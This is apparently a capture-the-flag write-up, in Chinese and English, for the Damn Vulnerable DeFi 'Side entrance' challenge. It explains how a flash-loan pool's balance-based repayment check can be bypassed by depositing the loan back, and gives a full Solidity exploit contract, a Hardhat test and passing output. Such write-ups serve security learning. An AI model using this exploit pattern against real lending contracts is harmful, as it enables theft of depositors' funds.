Damn Vulnerable DeFi 挑战记录 #4 - Side entrance

Challenge #4 - Side entrance

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

目标: 从闪电贷池中取走所有ETH

  after(async function () {
        /** SUCCESS CONDITIONS */
        expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal("0");

        // Not checking exactly how much is the final balance of the attacker,
        // because it'll depend on how much gas the attacker spends in the attack
        // If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
        expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
            this.attackerInitialEthBalance,
        );
   

代码解析

SideEntranceLenderPool.sol 借贷池合约

  • deposit 存款函数

  • withdraw 取款函数

  • flashLoan 闪电贷函数

flashLoan 分析

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
  • check 闪电贷前余额大于借款金额

  • 执行闪电贷套利操作

  • check 池子余额大于闪电贷前余额(成功还款)

漏洞: require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");


攻击思路:

由于flashLoan 函数中check成功还款的逻辑为判定借贷池中的ETH总余额是否大于闪电贷前的余额,而不是判定仅通过闪电贷操作的还款

因此我们先通过闪电贷借出所有ETH,在套利合约中执行deposit 存款操作存入贷出的所有ETH,此时借贷池中的余额等于原始余额,通过check还款, 完成闪电贷操作通过deposit 函数存款后,攻击合约的balances 将等于闪电贷出的所有ETH,再执行withdraw 函数取出池子所有ETH.

代码示例:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

contract SideEntryAttack is IFlashLoanEtherReceiver {
    address pool;
    uint256 constant TOKEN_INPOOL = 1000 * 10**18;

    constructor(address _pool) {
        pool = _pool;
    }

    function flashLoan() public {
        bytes memory flashLoanData = abi.encodeWithSignature("flashLoan(uint256)", TOKEN_INPOOL);
        (bool success, ) = pool.call(flashLoanData);
        require(success, "failed");
    }

    function execute() external payable override {
        bytes memory depositeData = abi.encodeWithSignature("deposit()");
        (bool success, ) = pool.call{ value: TOKEN_INPOOL }(depositeData);
        require(success, "failed");
    }

    function withdraw() public {
        bytes memory withdrawData = abi.encodeWithSignature("withdraw()");
        (bool success, ) = pool.call(withdrawData);
        require(success, "failed");
    }

    function attack() public {
        flashLoan();
        withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}
    it("Exploit", async function () {
        /** CODE YOUR EXPLOIT HERE */
        const SideEntryAttack = await ethers.getContractFactory("SideEntryAttack", attacker);
        this.attackLoan = await SideEntryAttack.deploy(this.pool.address);
        await this.attackLoan.attack();
    });

运行通过

❯ yarn run side-entrance
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/side-entrance/side-entrance.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/side-entrance/side-entrance.challenge.js


  [Challenge] Side entrance
    ✓ Exploit (151ms)


  1 passing (2s)

Done in 3.76s.

**Twitter: @0xRunstar